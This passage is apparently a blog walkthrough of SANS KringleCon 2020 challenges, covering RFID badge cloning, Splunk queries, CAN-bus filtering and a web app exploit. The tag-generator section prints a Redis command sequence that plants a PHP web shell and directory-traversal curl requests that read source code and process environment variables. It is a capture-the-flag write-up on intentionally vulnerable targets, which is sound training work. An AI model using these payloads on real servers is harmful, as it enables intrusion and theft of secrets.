Other people scan one or two and just try to vary room numbers.
Do whatever works best for you!&lt;/p>
&lt;/blockquote>
&lt;p>Now it was time to enter the room next to &lt;code>Bushy&lt;/code> and see what was hiding in there. With the lights turned on it was easy to some item lying on the ground, I&amp;rsquo;m sure it would be useful for tweaking the Santavator later on. Also, clicking the vending-machine a few times rewards you with some new items.&lt;/p>
&lt;p>Before turning to the main objective, I went to the Kitchen to help &lt;code>Fitzy Shortstack&lt;/code> with the Dial-Up Terminal that controls the internet connected X-mas lights:&lt;/p>
&lt;p>&lt;img src="../images/obj5/fitzy-shortstack.png" alt="Fitzy Shortstack">&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Put it in the cloud,&amp;rdquo; they said&amp;hellip;
&amp;ldquo;It&amp;rsquo;ll be great,&amp;rdquo; they said&amp;hellip;
All the lights on the Christmas trees throughout the castle are controlled through a remote server.
We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken!
Fortunately, I speak dial-up. However, I can&amp;rsquo;t quite remember the handshake sequence.
Maybe you can help me out? The phone number is 756-8347; you can use this blue phone.&lt;/p>
&lt;/blockquote>
&lt;p>I proceed to listen to
&lt;a href="https://upload.wikimedia.org/wikipedia/commons/3/33/Dial_up_modem_noises.ogg" target="_blank" rel="noopener">THIS&lt;/a> tone to be able to figure out the sequence.&lt;/p>
&lt;p>Eventually I should find the correct sequence:&lt;/p>
&lt;ol>
&lt;li>ba DEE brrr&lt;/li>
&lt;li>aahh&lt;/li>
&lt;li>WEWEWwrwrwrr&lt;/li>
&lt;li>beDURRdunditty&lt;/li>
&lt;li>SCHHRRHHRTHRTR&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="../images/obj5/dial-up.png" alt="Dial-Up Challenge">&lt;/p>
&lt;p>Which earns me this new hint:&lt;/p>
&lt;blockquote>
&lt;p>You know, Santa really seems to trust Shinny Upatree&amp;hellip;&lt;/p>
&lt;/blockquote>
&lt;p>Which doesn&amp;rsquo;t make too much sense at first, but earlier I learnt from &lt;code>Bushy&lt;/code> that a &lt;strong>ProxMark3&lt;/strong> device will be essential for opening the HID lock. It can be used to clone and replay RFID badges that can open the door in the Workshop. Maybe &lt;code>Shinny&lt;/code> is the one whose badge I should try to steal wih the &lt;strong>ProxMark3&lt;/strong>?&lt;/p>
&lt;p>Let&amp;rsquo;s find out!&lt;/p>
&lt;p>Next I head back to the Santavator and use the new items I found in the &lt;strong>Speaker Unpreparedness Room&lt;/strong> to unlock the journey up to the &lt;code>Workshop&lt;/code>!&lt;/p>
&lt;p>&lt;img src="../images/obj5/santavator.png" alt="Santavator">&lt;/p>
&lt;p>Upon entering, I check the small &lt;code>Wrapping Room&lt;/code> where I find the &lt;strong>ProxMark3&lt;/strong> I needed so much! I try to study it a bit by reading the short list of commands given in the badge:&lt;/p>
&lt;ul>
&lt;li>Larry Pesce knows a thing or two about
&lt;a href="https://www.youtube.com/watch?v=647U85Phxgo" target="_blank" rel="noopener">HID attacks&lt;/a>. He&amp;rsquo;s the author of a course on wireless hacking!&lt;/li>
&lt;li>Short list of essential proxmark commands
&lt;a href="https://gist.github.com/joswr1ght/efdb669d2f3feb018a22650ddc01f5f2" target="_blank" rel="noopener">HERE&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>After watching that KringleCon talk on HID Card Hacking and reading the cheat-sheet, I head back to the Castle&amp;rsquo;s &lt;strong>Front Lawn&lt;/strong> to try to steal &lt;code>Shinny's&lt;/code> RFID card details with the command &lt;code>lf hid read&lt;/code>:&lt;/p>
&lt;p>&lt;img src="../images/obj5/hid-read-shinny.png" alt="Trusted Shinny">&lt;/p>
&lt;p>That looks great! Now I go back to the &lt;code>Workshop&lt;/code>, I stand next to the HID protected door to replay &lt;code>Shinny's&lt;/code> card parameters with the &lt;strong>ProxMark3&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="../images/obj5/hid-sim-shinny.png" alt="Cloned Shinny">&lt;/p>
&lt;p>Well that worked flawlessly! Let&amp;rsquo;s see what&amp;rsquo;s in this room.&lt;/p>
&lt;p>Hmmm&amp;hellip; it seems to be just dark and empty but with a really
&lt;a href="https://holidayhackchallenge.com/2020/album/Mary%20Ellen%20Kennel%20-%20I%20Wish%20I%20Could%20be%20Santa%20Claus.mp3" target="_blank" rel="noopener">NICE&lt;/a> song! I stop for a moment to appreciate it.&lt;/p>
&lt;p>Then I check if there is anything down there. Ohhhhhhhh wait&amp;hellip; I&amp;rsquo;ve become Santa himself?! 😱&lt;/p>
&lt;p>&lt;img src="../images/obj5/new-santa.png" alt="NewSanta">&lt;/p>
&lt;p>On to the next objective
&lt;a href="https://holidayhackchallenge.com/2020/album/Skoudis%20-%20Is%20That%20You%20Santa%20Clause.mp3" target="_blank" rel="noopener">🎅🏻&lt;/a>!&lt;/p></description></item><item><title>Splunk Challenge</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective6/</link><pubDate>Thu, 24 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective6/</guid><description>&lt;p>&lt;img src="../images/obj6/objective6.png" alt="Objective6">&lt;/p>
&lt;p>After solving the HID Lock challenge, I continue solving the objectives as Santa with some special privileges. I can access various systems that was only possible for Santa before, like the Splunk terminal in the &lt;code>Great Room&lt;/code> which used to be locked with the following error message &lt;code>The Splunk terminal is for Santa and select SOC elves only&lt;/code>&amp;hellip;&lt;/p>
&lt;p>&lt;img src="../images/obj6/great-room.png" alt="Great Room">&lt;/p>
&lt;p>Unfortunately there are no more hints from the elves, only warnings and panic:&lt;/p>
&lt;blockquote>
&lt;p>Hey Santa, there’s some crazy stuff going on that we can see through our Splunk infrastructure. You better login and see what’s up.&lt;/p>
&lt;/blockquote>
&lt;p>Next I click the terminal on the table which opens Splunk in a
&lt;a href="https://splunk.kringlecastle.com/en-US/app/SA-kringleconsoc/kringleconsoc" target="_blank" rel="noopener">new tab&lt;/a> with the goal of figuring out the answer to the next objective:&lt;/p>
&lt;p>&lt;img src="../images/obj6/splunk-soc.png" alt="Spliunk SOC">&lt;/p>
&lt;p>Thankfully it has a very nice chat interface where &lt;code>Alice Bluebird&lt;/code> helps out with hints for the first few training questions:s&lt;/p>
&lt;h4 id="question-1">Question 1&lt;/h4>
&lt;p>&lt;strong>How many distinct MITRE ATT&amp;amp;CK techniques did Alice emulate?&lt;/strong>&lt;/p>
&lt;p>Alice provides the first part of a handy splunk query to find that the answer is &lt;code>13&lt;/code>:&lt;/p>
&lt;pre>&lt;code>| tstats count where index=* by index
| search index=T*-win OR T*-main
| rex field=index &amp;quot;(?&amp;lt;technique&amp;gt;t\d+)[\.\-].0*&amp;quot;
| stats dc(technique)
&lt;/code>&lt;/pre>&lt;h4 id="question-2">Question 2&lt;/h4>
&lt;p>&lt;strong>What are the names of the two indexes that contain the results of emulating Enterprise ATT&amp;amp;CK technique 1059.003? (Put them in alphabetical order and separate them with a space)&lt;/strong>&lt;/p>
&lt;p>This was also rather easy to answer: &lt;code>t1059.003-main t1059.003-win&lt;/code>&lt;/p>
&lt;h4 id="question-3">Question 3&lt;/h4>
&lt;p>&lt;strong>One technique that Santa had us simulate deals with &amp;lsquo;system information discovery&amp;rsquo;. What is the full name of the registry key that is queried to determine the MachineGuid?&lt;/strong>&lt;/p>
&lt;p>A simple search in Splunk for &lt;code>index=* MachineGuid&lt;/code> reveals entries such as &lt;strong>REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid&lt;/strong> which quickly provides the answer: &lt;code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography&lt;/code>&lt;/p>
&lt;h4 id="question-4">Question 4&lt;/h4>
&lt;p>&lt;strong>According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp)&lt;/strong>&lt;/p>
&lt;p>Following a similar logic, I searched for &lt;code>index=* OSTAP&lt;/code> in splunk, which retrieved 8 results. Then I scrolled down to the bottom to find the oldest one and submitted its timestamp as answer: &lt;code>2020-11-30T17:44:15Z&lt;/code>&lt;/p>
&lt;h4 id="question-5">Question 5&lt;/h4>
&lt;p>&lt;strong>One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?&lt;/strong>&lt;/p>
&lt;p>For this one I had to try a bit harder, but some time spent looking at the &lt;strong>frgnca&lt;/strong> github repo, I figured that it had to do something with Audio, so I crafter this query in Splunk &lt;code>index=* EventCode=1 AND CommandLine=&amp;quot;*Audio*&amp;quot;&lt;/code> which helped retrieve the correct answer: &lt;code>3648&lt;/code>&lt;/p>
&lt;h4 id="question-6">Question 6&lt;/h4>
&lt;p>&lt;strong>Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?&lt;/strong>&lt;/p>
&lt;p>This question probably took me the longest to figure out. I&amp;rsquo;ve spent about 2 hours looking for information in Splunk, and what eventually unblocked me was reading the question over and over again until I realized that the answer will come only partially from Splunk. Eventually I solved it by searching for any occurrence of &lt;code>*.bat&lt;/code> files in Splunk, which helped me find
&lt;a href="https://github.com/redcanaryco/atomic-red-team/blob/8eb52117b748d378325f7719554a896e37bccec7/atomics/T1074.001/src/Discovery.bat" target="_blank" rel="noopener">Discovery.bat&lt;/a> from the Red Canary
&lt;a href="https://github.com/redcanaryco/atomic-red-team" target="_blank" rel="noopener">repo&lt;/a>, which was used to create the simulation. The answer was the final line in this batch script: &lt;code>quser&lt;/code>&lt;/p>
&lt;h4 id="question-7">Question 7&lt;/h4>
&lt;p>&lt;strong>According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?&lt;/strong>&lt;/p>
&lt;p>This was a rather easy one, I searched for &lt;code>index=* SERIAL&lt;/code> in Splunk which revealed several records. Right on top the first one had the answer: &lt;code>55FCEEBB21270D9249E86F4B9DC7AA60&lt;/code>&lt;/p>
&lt;h3 id="final-question">Final Question&lt;/h3>
&lt;p>&lt;strong>What is the name of the adversary group that Santa feared would attack KringleCon?&lt;/strong>&lt;/p>
&lt;p>For this final question Alice provided a base64 encoded cipher text that according to her was encrypted with Santa&amp;rsquo;s favourite phrase.&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>7FXjP1lyfKbyDK/MChyf36h7&lt;/code>&lt;/p>
&lt;/blockquote>
&lt;p>What&amp;rsquo;s more, she even suggested that the encryption key was mentioned during the KringleCon
&lt;a href="https://www.youtube.com/watch?v=RxVgEFt08kU" target="_blank" rel="noopener">Talk&lt;/a> by Dave Herrald on &lt;strong>Adversary Emulation and Automation&lt;/strong>. I fast-forwarded to the end to find this slide:&lt;/p>
&lt;p>&lt;img src="../images/obj6/stay-frosty.png" alt="Stay Frosty">&lt;/p>
&lt;p>The choice of RC4 cipher was almost obvious, after reading Alice&amp;rsquo;s hint in Splunk SOC Chat:&lt;/p>
&lt;blockquote>
&lt;p>It&amp;rsquo;s encrypted with an old algorithm that uses a key. We don&amp;rsquo;t care about RFC 7465 up here! I leave it to the elves to determine which one!&lt;/p>
&lt;/blockquote>
&lt;p>Armed with this knowledge, I used
&lt;a href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener">CyberChef&lt;/a> and the uncovered passphrase to uncover the name of the adversary group.&lt;/p>
&lt;p>&lt;img src="../images/obj6/adversary-group.png" alt="Adversary Group - CyberChef">&lt;/p>
&lt;p>&lt;img src="../images/obj6/splunk-done.png" alt="Splunk Done">&lt;/p>
&lt;p>On to the next one! 😎&lt;/p></description></item><item><title>Sleigh CAN-D-BUS Issue</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective7/</link><pubDate>Thu, 24 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective7/</guid><description>&lt;p>&lt;img src="../images/obj7/objective7.png" alt="Objective7">&lt;/p>
&lt;p>Now that Spunk is solved, my badge tells me to head up to the &lt;code>NetWars&lt;/code> room for solving the next objective and talk with &lt;code>Wunorse Openslae&lt;/code> who can help if you figure out what&amp;rsquo;s up with his terminal:&lt;/p>
&lt;blockquote>
&lt;p>Hey Santa!
Those tweaks you made to the sled just don’t seem right to me.
I can’t figure out what’s wrong, but maybe you can check it out to fix it.&lt;/p>
&lt;/blockquote>
&lt;p>Next I click on the terminal next to him, which pops up a CLI session. As the MOTD tells me, there is a file with logs of the CAN traffic of the sleigh. In the logs there are few distinct message types:&lt;/p>
&lt;ul>
&lt;li>Engine &lt;code>UP/DOWN&lt;/code> messages (many of these)&lt;/li>
&lt;li>LOCK and &lt;code>UNLOCK&lt;/code> messages (3 in total!)&lt;/li>
&lt;/ul>
&lt;p>So then I inspect the &lt;code>candump.log&lt;/code> file and do some transformations on it. First, I filter each line and keep only the third column. Then I extract the first 3 characters of each line and use &lt;code>sort -nr&lt;/code> &amp;amp; &lt;code>uniq -c&lt;/code> to show how many of each line is present in the logs:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@87cee25c674e:~$ cat candump.log &lt;span class="p">|&lt;/span> awk &lt;span class="s1">&amp;#39;{print $3}&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> cut -b 1-3 &lt;span class="p">|&lt;/span> sort -nr &lt;span class="p">|&lt;/span> uniq -c
&lt;span class="ln">2&lt;/span> &lt;span class="m">1331&lt;/span> &lt;span class="m">244&lt;/span>
&lt;span class="ln">3&lt;/span> &lt;span class="m">35&lt;/span> &lt;span class="m">188&lt;/span>
&lt;span class="hl">&lt;span class="ln">4&lt;/span> &lt;span class="m">3&lt;/span> 19B
&lt;/span>&lt;span class="ln">5&lt;/span>
&lt;span class="ln">6&lt;/span>elf@87cee25c674e:~$ cat candump.log &lt;span class="p">|&lt;/span> grep 19B#
&lt;span class="ln">7&lt;/span>&lt;span class="o">(&lt;/span>1608926664.626448&lt;span class="o">)&lt;/span> vcan0 19B#000000000000
&lt;span class="hl">&lt;span class="ln">8&lt;/span>&lt;span class="o">(&lt;/span>1608926671.122520&lt;span class="o">)&lt;/span> vcan0 19B#00000F000000
&lt;/span>&lt;span class="ln">9&lt;/span>&lt;span class="o">(&lt;/span>1608926674.092148&lt;span class="o">)&lt;/span> vcan0 19B#000000000000
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This helps to know that messages with ID &lt;code>19B&lt;/code> are related to &lt;code>LOCK/UNLOCK&lt;/code> events. This will be useful to know for fixing Santa&amp;rsquo;s sleigh next:&lt;/p>
&lt;p>&lt;img src="../images/obj7/run-to-answer-can-bus.png" alt="RunToAnswer CAN BUS">&lt;/p>
&lt;p>Next I click on Santa&amp;rsquo;s sleigh, and a strange UI interface pops up. To learn more about what it is, I watch the KringleCon talk from &lt;strong>Chris Elgee&lt;/strong> on CAN Bus in vehicles
&lt;a href="https://www.youtube.com/watch?v=96u-uHRBI0I" target="_blank" rel="noopener">HERE&lt;/a>.&lt;/p>
&lt;p>&lt;img src="../images/obj7/sleigh-can-bus.png" alt="Sleigh CAN-D-BUS">&lt;/p>
&lt;p>Initially, I just naively excluded all messages with ID &lt;code>19B&lt;/code> but that did not seem to fix it. Then I excluded some of the most common messages to make the steam slower a bit so that I can see more clearly what was happening. That&amp;rsquo;s when I discovered a strange message with the same ID but non-zero payload in the stream:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>&lt;span class="m">1609081466157&lt;/span> 019#00000000
&lt;span class="ln">2&lt;/span>&lt;span class="m">1609081466258&lt;/span> 188#00000000
&lt;span class="hl">&lt;span class="ln">3&lt;/span>&lt;span class="m">1609081466462&lt;/span> 19B#0000000F2057 &lt;span class="s">&amp;lt;&amp;lt; THIS SHOULD NOT&lt;/span> BE HERE!
&lt;/span>&lt;span class="ln">4&lt;/span>&lt;span class="m">1609081466562&lt;/span> 080#000000
&lt;span class="ln">5&lt;/span>&lt;span class="m">1609081466663&lt;/span> 019#00000000
&lt;span class="ln">6&lt;/span>&lt;span class="m">1609081466767&lt;/span> 188#00000000
&lt;/code>&lt;/pre>&lt;/div>&lt;p>I thought this may be the malicious message that is being inserted onto the bus, so I excluded it. This was probably a step in the right direction, but it was still not enough to complete the objective.&lt;/p>
&lt;p>Next, I proceeded to play a bit with the controls and noticed something strange when the slider for the break was moved. I noticed that on each cycle, two messages would be emitted from the break:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>&lt;span class="m">1609082448556&lt;/span> 080#000028
&lt;span class="hl">&lt;span class="ln">2&lt;/span>&lt;span class="m">1609082448576&lt;/span> 080#FFFFF0 &lt;span class="o">&amp;lt;&amp;lt;&amp;lt;&lt;/span> EXCLUDE!
&lt;/span>&lt;span class="ln">3&lt;/span>&lt;span class="m">1609082449074&lt;/span> 080#000028
&lt;span class="hl">&lt;span class="ln">4&lt;/span>&lt;span class="m">1609082449077&lt;/span> 080#FFFFF3 &lt;span class="o">&amp;lt;&amp;lt;&amp;lt;&lt;/span> EXCLUDE!
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The ones with high payload value seemed suspicious, so I excluded them all and voila, this was the correct solution!&lt;/p>
&lt;p>&lt;img src="../images/obj7/can-d-bus-solved.png" alt="CAN D BUS Solved">&lt;/p>
&lt;p>On to the next one! 😎&lt;/p></description></item><item><title>Broken Tag Generator</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective8/</link><pubDate>Thu, 24 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective8/</guid><description>&lt;p>&lt;img src="../images/obj8/objective8.png" alt="Objective8">&lt;/p>
&lt;p>Now that Santa&amp;rsquo;s sleigh&amp;rsquo;s CAN-D-BUS issue is fixed it&amp;rsquo;s time to move on to Objective 8 for fixing the KringleCon Tag Generator in the Wrapping Room. First, I head to the Kitchen to talk with &lt;code>Holly Evergreen&lt;/code> who is ready to trade some hints for my help with the Redis terminal:&lt;/p>
&lt;p>&lt;img src="../images/obj8/holly-evergreen.png" alt="Holly Evergreen">&lt;/p>
&lt;blockquote>
&lt;p>Hi Santa!
If you have a chance, I&amp;rsquo;d love to get your feedback on the Tag Generator updates!
I&amp;rsquo;m a little concerned about the file upload feature, but Noel thinks it will be fine.&lt;/p>
&lt;/blockquote>
&lt;p>Clicking the Redis Terminal next to him will bring up a shell window. After some inspection the task at hand is more or less clear: I need to exfiltrate the &lt;code>index.php&lt;/code> file from the server on localhost using &lt;code>maintenance.php&lt;/code>. This endpoint accepts a &lt;strong>cmd&lt;/strong> parameter which executes the given parameters in redis-cli.&lt;/p>
&lt;p>For start, I query the entire redis config with the below command (which is then filtered for just the PW):&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="hl">&lt;span class="ln">1&lt;/span>player@100dfcdfbca2:~$ curl http://localhost/maintenance.php?cmd&lt;span class="o">=&lt;/span>CONFIG,GET,* 2&amp;gt;/dev/null &lt;span class="p">|&lt;/span> grep pass -A &lt;span class="m">3&lt;/span>
&lt;/span>&lt;span class="ln">2&lt;/span>Running: redis-cli --raw -a &lt;span class="s1">&amp;#39;&amp;lt;password censored&amp;gt;&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;CONFIG&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;GET&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;*&amp;#39;&lt;/span>
&lt;span class="ln">3&lt;/span>dbfilename
&lt;span class="ln">4&lt;/span>dump.rdb
&lt;span class="ln">5&lt;/span>requirepass
&lt;span class="hl">&lt;span class="ln">6&lt;/span>R3disp@ss &lt;span class="o">&amp;lt;&amp;lt;&amp;lt;&lt;/span> Will be very handy to start a &lt;span class="nb">local&lt;/span> redis-cli session with privileges!
&lt;/span>&lt;span class="ln">7&lt;/span>masterauth
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I was looking around the internet for Redis vulnerabilities including local file access and found
&lt;a href="https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#redis-rce" target="_blank" rel="noopener">THIS&lt;/a> link which has a section on &lt;strong>Redis RCE&lt;/strong> vulnerability. While that example did not work straight out of the box, it pointed me to the right direction which eventually led me to the below exploit (inspired by
&lt;a href="https://medium.com/@eDodo90/writeup-hack-the-box-reddish-9f99cec8e1be" target="_blank" rel="noopener">this&lt;/a> source) submitted via the &lt;code>redis-cli&lt;/code> using the previously obtained password:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;CONFIG SET dir /var/www/html&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> redis-cli -a R3disp@ss
&lt;span class="ln">2&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;CONFIG SET dbfilename exfil.php&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> redis-cli -a R3disp@ss
&lt;span class="hl">&lt;span class="ln">3&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;SET PAYLOAD \&amp;#34;&amp;lt;?php system(\$_GET[&amp;#39;cmd&amp;#39;]); ?&amp;gt;\&amp;#34;&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> redis-cli -a R3disp@ss
&lt;/span>&lt;span class="ln">4&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;BGSAVE&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> redis-cli -a R3disp@ss
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, to exfiltrate the &lt;code>index.php&lt;/code> I execute a cURL simple command:&lt;/p>
&lt;p>&lt;img src="../images/obj8/redis-bug.png" alt="Redis-Exfil">&lt;/p>
&lt;p>Now that the redis bug is discovered, I can get the promised hints from &lt;code>Holly&lt;/code>:&lt;/p>
&lt;blockquote>
&lt;p>Sorry to be a pest Santa, but could you look at the Tag Generator?
I&amp;rsquo;ve been looking at it, and I wonder if the source code would provide more insight?
I told Noel we should be more careful about disclosing information in error messages.
I tried what you suggested and enumerating all endpoints really is good idea to understand an application&amp;rsquo;s functionality.
Sometimes though, I find the Content-Type header hinders the browser more than it helps.
Blind command injection can be frustrating though. Do you think output redirection would help?&lt;/p>
&lt;/blockquote>
&lt;p>Few more hints also appeared in the badge afterwards:&lt;/p>
&lt;ul>
&lt;li>We might be able to find the problem if we can get source code!&lt;/li>
&lt;li>Can you figure out the path to the script? It&amp;rsquo;s probably on error pages!&lt;/li>
&lt;li>Once you know the path to the file, we need a way to download it!&lt;/li>
&lt;li>Is there an endpoint that will print arbitrary files?&lt;/li>
&lt;li>If you&amp;rsquo;re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!&lt;/li>
&lt;li>I&amp;rsquo;m sure there&amp;rsquo;s a vulnerability in the source somewhere&amp;hellip; surely Jack wouldn&amp;rsquo;t leave their mark?&lt;/li>
&lt;li>If you find a way to execute code blindly, I bet you can redirect to a file then download that file!&lt;/li>
&lt;li>Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!&lt;/li>
&lt;/ul>
&lt;p>Now it&amp;rsquo;s time to head to the Wrapping Room to talk with &lt;code>Noel&lt;/code>:&lt;/p>
&lt;p>&lt;img src="../images/obj8/noel-boetie.png" alt="Noel Boetie">&lt;/p>
&lt;blockquote>
&lt;p>Welcome to the Wrapping Room, Santa!
The tag generator is acting up.
I feel like the issue has something to do with weird files being uploaded.
Can you help me figure out what&amp;rsquo;s wrong?&lt;/p>
&lt;/blockquote>
&lt;p>The application in question is available via this
&lt;a href="https://tag-generator.kringlecastle.com" target="_blank" rel="noopener">LINK&lt;/a>:&lt;/p>
&lt;p>&lt;img src="../images/obj8/tag-generator.png" alt="Tag-Generator Web App">&lt;/p>
&lt;p>It seems to be a simple web-application that is used to build name-tags by uploading some graphics and adding your own text to it and then downloading the result. I proceed to inspect its source closer, to see what it takes to break it&amp;hellip; 😇&lt;/p>
&lt;p>Since both elves mentioned the file-upload part which may be problematic, I started playing with that to see how it worked:&lt;/p>
&lt;ul>
&lt;li>when trying to upload a &lt;strong>5.2 MB pdf&lt;/strong> file it came back with &lt;code>413 Request Entity Too Large&lt;/code>, no client-side verification.&lt;/li>
&lt;li>when uploading a &lt;strong>smaller text&lt;/strong> file it came back with &lt;code>Something went wrong!&lt;/code> and a more useful error message:&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="../images/obj8/verbose-error-msg.png" alt="Verbose-Tag-Generator Error">&lt;/p>
&lt;p>This helps me to identify that the source code handling the incoming requests are located at &lt;code>/app/lib/app.rb&lt;/code>, which is going to be very useful later on. The hints earlier mention that it should be possible to download this file somehow through one of the API endpoints, I figured this should be the result of some sort of Local File Inclusion (&lt;code>LFI&lt;/code>) vulnerability. To look for this endpoint, I look at the image upload functionality more closely by uploading a valid &lt;strong>png&lt;/strong> image while simultaneously observing the network requests in the Networking Tab of the Developer console:&lt;/p>
&lt;p>&lt;img src="../images/obj8/upload-tag-generator.png" alt="TAG Generator - Upload">&lt;/p>
&lt;p>I notice that the first request was to the &lt;code>/upload&lt;/code> endpoint. Once complete, the image was saved on the server, assigned a UUID and finally returned as a response. Next, there is a new request to same image UUID that was just returned via this other API endpoint: &lt;code>/image?id=&amp;lt;Random-UUID&amp;gt;.png&lt;/code> which fetches the image from the server to display it. I take note of this and then decide to read more about LFI vulnerabilities in Web Applications. This article is especially useful from OWASP about
&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include" target="_blank" rel="noopener">Testing Directory Traversal File Include&lt;/a>. Using this new information, I fire up a terminal on my laptop and use cURL to craft some test requests to this &lt;code>/image&lt;/code> endpoint to see what kind of response comes back. On the very first try it looks quite promising:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>▶ curl https://tag-generator.kringlecastle.com/image?id&lt;span class="o">=&lt;/span>
&lt;span class="ln">2&lt;/span>&amp;lt;h1&amp;gt;Something went wrong!&amp;lt;/h1&amp;gt;
&lt;span class="hl">&lt;span class="ln">3&lt;/span>&amp;lt;p&amp;gt;Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/&amp;lt;/p&amp;gt;
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The ERROR message after sending an empty &lt;code>id&lt;/code> parameter reveals quite a lot actually! It shows that the &lt;strong>Local File Inclusion / Directory Traversal&lt;/strong> exploit is be possible through this endpoint. Also, it shows that uploads are stored in &lt;code>/tmp/&lt;/code> directory.&lt;/p>
&lt;p>&lt;strong>Note&lt;/strong> that it is essential to use cURL instead of the browser because the API response always has this &lt;code>Content-Type: image/jpeg&lt;/code> header set, which confuses browsers to interpret the payload as an image.&lt;/p>
&lt;p>Finally, I use the intel I gathered to successfully retrieve the Ruby source code of the Web Application:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="hl">&lt;span class="ln">1&lt;/span>▶ curl https://tag-generator.kringlecastle.com/image?id&lt;span class="o">=&lt;/span>../app/lib/app.rb
&lt;/span>&lt;span class="ln">2&lt;/span>&lt;span class="c1"># encoding: ASCII-8BIT&lt;/span>
&lt;span class="ln">3&lt;/span>
&lt;span class="ln">4&lt;/span>&lt;span class="nv">TMP_FOLDER&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/tmp&amp;#39;&lt;/span>
&lt;span class="ln">5&lt;/span>&lt;span class="nv">FINAL_FOLDER&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/tmp&amp;#39;&lt;/span>
&lt;span class="ln">6&lt;/span>
&lt;span class="ln">7&lt;/span>&lt;span class="c1"># Don&amp;#39;t put the uploads in the application folder&lt;/span>
&lt;span class="ln">8&lt;/span>Dir.chdir TMP_FOLDER
&lt;span class="ln">9&lt;/span>...
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After fetching the
&lt;a href="../files/obj8/app.rb">file&lt;/a> I examine it closer to see if I can find more clues for retrieving the contents of the &lt;code>GREETZ&lt;/code> env variable. In fact, there are some commented lines from &lt;strong>Jack&lt;/strong> in the &lt;code>handle_zip&lt;/code> function that look promising:&lt;/p>
&lt;pre>&lt;code># I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
&lt;/code>&lt;/pre>&lt;p>Eventually, I give up trying to figure out how this would work to my advantage. Nevertheless, I am still able to exfil the ENV variable via the same LFI vulnerability that allowed me to extract the Ruby source code.&lt;/p>
&lt;p>I achieve this by remembering that
&lt;a href="http://www.dba-oracle.com/linux/important_files_directories.htm" target="_blank" rel="noopener">everything is a file in Linux&lt;/a>. I first try to extract &lt;code>/etc/environment&lt;/code> which is just plain empty. Then I recall that every process has its own &lt;code>/proc/PID/environ&lt;/code> file for storing ENV vars, so I try to guess the PID of the Web App and to my big surprise I get it right on the first try:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="hl">&lt;span class="ln"> 1&lt;/span>▶ curl https://tag-generator.kringlecastle.com/image?id&lt;span class="o">=&lt;/span>../proc/1/environ --output -
